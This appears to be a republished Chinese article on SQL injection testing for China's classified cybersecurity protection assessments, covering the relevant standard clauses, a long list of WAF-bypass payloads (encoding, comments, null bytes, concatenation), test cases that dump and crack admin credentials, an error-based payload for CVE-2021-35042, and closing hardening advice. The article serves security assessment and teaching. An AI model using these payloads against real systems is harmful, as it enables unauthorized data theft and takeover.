0x01 等保测评项

GBT 22239-2019《信息安全技术 网络安全等级保护基本要求》中,8.1.4.4安全计算环境—入侵防范项中要求包括:

a)应遵循最小安装的原则,仅安装需要的组件和应用程序;

b)应关闭不需要的系统服务、默认共享和高危端口;

c)应通过设定终端接入方式或网络地址范围对通过网络进行管理的管理终端进行限制;

d)应提供数据有效性检验功能,保证通过人机接口输入或通过通信接口输入的内容符合系统设定要求;

e)应能发现可能存在的已知漏洞,并在经过充分测试评估后,及时修补漏洞;

f)应能够检测到对重要节点进行入侵的行为,并在发生严重入侵事件时提供报警。

SQL注入测试对应访问控制项中要求d),所以安全控制点为入侵防范d

GBT 28448-2019《信息安全技术 网络安全等级保护测评要求》中,测评单元(L3-CES1-20),该项测评单元包括以下要求:

a)测评指标:应提供数据有效性检验功能,保证通过人机接口输入或通过通信接口输入的内容符合系统设定要求。

b)测评对象:业务应用系统、中间件和系统管理软件及系统设计文档等。

c)测评实施包括以下内容:

1)应核查系统设计文档的内容是否包括数据有效性检验功能的内容或者模块;

2)应测试验证是否对人机接口或通信接口输入的内容进行有效性检验。

d)单元判定:如果1)和2)均为肯定,则符合本测评单元指标要求,否则不符合或部分符合本测评单元指标要求。

SQL注入测试属于测评单元(L3-CES1-20)中测评实施第2项,故测评单元为L3-CES1-20.2

0x02 测试内容

通过手工或工具的方式,检测系统是否存在SQL注入漏洞,是否能通过SQL注入查询相关敏感信息或执行命令、获取权限等操作。

0x03 漏洞原理

WEB应用程序对用户输入的数据没有进行合法性判断,前端传入后端的参数是攻击者可控的,并且能将参数带入数据库中查询,攻击者就可以通过构造不同的SQL语句实现对数据库的任意操作。

SQL注入漏洞的产生需要满足两个条件:

  1. 参数用户可控:前端传给后端的参数内容是用户可以控制的;
  2. 参数带入数据库查询:传入的参数拼接到SQL语句中,且带入数据库查询;

在实际环境中,凡是满足上述两个条件的参数皆可能存在SQL注入漏洞,因此开发者需秉持“外部参数皆不可信的原则”进行应用程序的开发。

0x04 代码示例

上述代码,程序获取GET参数id,对用户传过来的id值没有进行过滤,直接拼接到SQL语句中,在数据库中查询id对应的内容,并将这一条查询结果中的user和password 输出到页面。就可以进行常规的union注入。

0x05 限制绕过

WEB应用程序通常会使用输入过滤器,设计这些过滤器的目的是防御包括SQL注入内的常见攻击。这些过滤器可能位于应用的代码中(自定义输入验证方式),也可能在应用外部实现,形式为WEB应用防火墙(WAF)或入侵防御系统(IPS)。

我们还有可能遇到尝试将输入修改为安全内容的过滤器,这些过滤器使用的方法包括编码、消除有问题的字符或者从输入中剥去带有攻击性的项并按正常方式处理余下内容。

通常,由这些过滤器保护的应用程序代码易受到SQL注入的攻击。如果想要利用漏洞,就需要寻找一种避开过滤器的方法以便将恶意输入传递给易受攻击的代码。

绕过方式:

注释符

当过滤器阻止各种空白符常见关键词过滤时,可使用注释进行绕过

-- “注释内容”
/*注释内容*/
;

内联注释

内联注释能把一些特有的仅在MYSQL上的语句放在 /!../ 中,这样这些语句如果在其它数据库中是不会被执行,但在MYSQL的特定版本(与注释内描述的版本有关)中会执行。

select * from cms_users where userid=1 union /*!5000 select*/ 1,2,3;

编码

浏览器中输入的URL会由浏览器进行一次URL编码,所以可以通过多次编码绕过正则表达式的检测;如URLEncode编码、ASCII、HEX、unicode编码绕过:

对关键字进行两次url全编码:
1+and+1=2
1+%25%36%31%25%36%65%25%36%34+1=2 

/**/union/**/select/**/password/**/from/**/users/**/where/**/username/**/like/**/'admin'#
%252f%252a*/union%252f%252a*/select%252f%252a*/password%252f%252a*/from%252f%252a*/users%252f%252a*/where%252f%252a*/username%252f%252a*/like%252f%252a*/'admin'#

ascii编码
Test 等价于CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)

16进制
select * from users where username = test1;
select * from users where username = 0x7465737431;

unicode编码对部分符号的绕过
单引号=> %u0037 %u02b9
空格=> %u0020 %uff00
左括号=> %u0028 %uff08
右括号=> %u0029 %uff09

空格绕过

一般绕过空格过滤的方法有以下几种方法来取代空格

/**/
()
回车(url编码中的%0a)
`(tap键上面的按钮)
tap
两个空格

对or and xor not 绕过

or = ||
and = &&
xor = | 或者 ^ # 异或,例如Select * from cms_users where userid=1^sleep(5);
not = !

双写绕过

在某一些简单的waf中,会将关键字select等使用replace()函数置换为空。当关键词被过滤时可以采用双写的方式,在经过waf的处理之后又变成select,达到绕过的要求。

and写成anandd
select写成seleselectct

大小写变种:

当关键词被过滤时,可尝试变换大小写进行绕过。

UniOn 
SeleCt

对等号=绕过

不加通配符的like执行的效果和 = 一致,所以可以用来绕过。

1. 正常加上通配符的like:

Select * from cms_users where username like "ad%"; 1
  1. 不加上通配符的like可以用来取代=:
Select * from cms_users where username like "admin"; 1
  1. regexp:MySQL中使用 REGEXP 操作符来进行正则表达式匹配
Select * from cms_users where username REGEXP "admin"; 1

4 .使用大小于号来绕过

Select * from cms_users where userid>0 and userid<2; 1
  1. <> 等价于 != ,所以在前面再加一个 ! 结果就是等号了
Select * from cms_users where !(username <> "admin");

畸形HTTP请求

当向WEB服务器发送畸形的、非RFC2616标准的HTTP请求时,WEB服务器出于兼容的目的,会尽可能解析HTTP请求。若WEB服务器的兼容方式与WAF不一致,则可能会出现绕过的情况。比如: GET id.php?id=1%20union/**/select这个请求,无请求的协议字段,也没有HOST字段,但Apache对这个请求的处理默认会设置协议为HTTP/0.9,HOST则默认会使用Apache默认的servername;

使用动态查询执行

许多数据库都允许动态执行SQL查询,只需向只需向执行查询的数据库函数传递一个包含SQL查询的字符串即可。如果找到了SQL注入点,但却被过滤器阻止注入,那就可以尝试动态执行进行绕过。

不同的数据库中动态查询执行的实现会有所不同;

在SQL Server中,可以使用exec函数执行一个字符串格式的查询,例如:exec('select * from users');

Oracle可使用execute immediate命令执行一个字符串格式的查询,例如:execute immediate 'select * from users'。

数据库提供了多种操作字符串的方法。想使用动态执行的关键是使用字符串操作函数将过滤器允许的输入转换成一个包含所需要查询的字符串。最简单的情况,可以使用字符串连接技术将较小的部分构造成一个字符串。不同数据库使用不同的语法连接字符串。若select被过滤,可使用(但连接符在http请求中被提交时需进行URL编码)

Oracle:'se'||'lect'
SQL Server:'se'+'lect'
MySQL:'se' 'lect' 

也可使用字符串操作函数reverse()、substr()、replace()等。

使用空字节

通常需要绕过的SQL注入漏洞过滤器都是在应用程序自身的代码之外(IDS、WAF),这些组件通常由C++编写,所以我们可以针对这些语言的特性进行绕过,比如可以使用空字节攻击来避开输入过滤器并将漏洞输入至后台应用程序中。

空字节之所以能起作用,是因为原生代码和托管代码分别采用不同的方法来处理空字节。在原生代码中,根据字符串起始位置到出现第一个空字节的位置来确定字符串长度(空字节终止字符串)。而在托管代码中,字符串对象包含一个字符数组和一条单独的字符串长度记录。

这种差异意味着原生过滤器在处理输入时,如果遇到空字节,便会停止处理,因为在过滤器看来,空字节代表字符串的结尾。如果空字节之前的输入是良性的,那么过滤器将不会阻止该输入。不过在托管代码语境中,应用在处理相同的输入时,会将空字节后面的输入一同处理。所以只需要在过滤器阻止的字符前提供一个采用URL编码的空字节(%00)即可。

id=1%00' union select *password from users where username='admin'-- 。

二次注入

防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当WEB程序调用存储在数据库中的恶意数据并执行SQL查询时,产生二次注入。

二次注入虽然是SQL注入的一种,但挖掘二次注入需要对应用程序有完整的理解,需要知道应用程序的逻辑,所以自动化扫描很难发现,基本靠人工发现。

0x06 测试过程

通过手工或工具进行SQL注入测试,验证系统相关功能页面,查看是否能进行数据查询获取相关敏感数据。

测试案例1

  1. 系统某链接中的POST参数:hidZWCLFS存在SQL注入漏洞。如下图所示:

  1. 除上述链接外,其他链接同样存在若干SQL注入漏洞,需要对系统POST参数进行统一过滤,下列给出部分含有SQL注入漏洞的链接。如图所示:

测试案例2

  1. 使用椰树V1.9-web安全扫描工具 ( 提取码:nn1k)对测试站点进行扫描。将url链接放入工具中,点击扫描网站,并且等状态栏为done时,扫描完成,如下图所示,发现2个注入点

  1. 对刚发现的注入点进行注入,选择SQL INJECTION POC。


  1. 注入成功,可查看用户名、加密过后的密码等数据。


  1. 使用MD5解密工具进行解密,成功获取用户名、密码。

再用御剑等目录爆破工具,扫描网站后台,使用SQL注入出的用户名密码进行登录。

测试案例3

CVE-2021-35042

  1. 访问列表视图 http://your-ip:8000/vuln/




  1. 添加?order=-id到 GET 参数,可看到按 id 按照降序排列的数据。


  1. 根据以上信息可以构造报错注入进行攻击获取数据信息。
?order=vuln_collection.name);select updatexml(1, concat(0x7e,(select @@version)),1)%23


执行payload后,系统返回数据库版本信息。



  1. 执行获取用户名、密码的payload,成功利用系统的SQL注入漏洞获取用户名、密码。


0x07 风险分析

攻击者可以通过构造特殊URL的手段,利用SQL注入漏洞:

  • 使得系统业务功能异常或者失效;
  • 恶意的破坏,比如修改数据,删数据,删表等恶意破坏;
  • 探查数据库类型,结构,获取数据库敏感数据,造成数据泄露;
  • 修改数据库配置,控制服务器,进行恶意活动等
  • 在某些情况下能执行操作系统命令

0x08 加固建议

想要更好的防止SQL注入攻击,就必须清楚一个概念:数据库只负责执行SQL语句,根据SQL语句来返回相关数据。数据库并没有什么好的办法直接过滤SQL注入,哪怕是存储过程也不例外,了解此点后,应该明白,防御SQL注入,还是需要从代码入手。


  1. 对用户输入的数据进行全面安全检查或过滤,采用一些成熟的防注入产品。

服务器可以安装安全狗、360网站卫士等安全工具,数据库中的敏感信息加密后存放,严格控制数据库用户权限。

  1. 使用预编译语句,绑定变量(最佳方式),这样SQL语句的语义不会发生改变;
  2. 检查数据类型,限制邮箱、时间、日期等数据的格式;
  3. 使用安全的存储过程;
  4. 检查输入数据的数据类型;
  5. 使用安全函数,推荐OWASP ESAPI项目的安全函数,如:ESAPI.encoder().encoderForSQL(new OracleCodec(),queryparam)。
  6. 为所有数据库访问使用参数化查询并正确的参数化集成到查询中的每个可变数据项(防御二次注入);

参考
https://blog.csdn.net/weixin_42478365/article/details/119300607
https://blog.csdn.net/weixin_43123409/article/details/12133365

黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!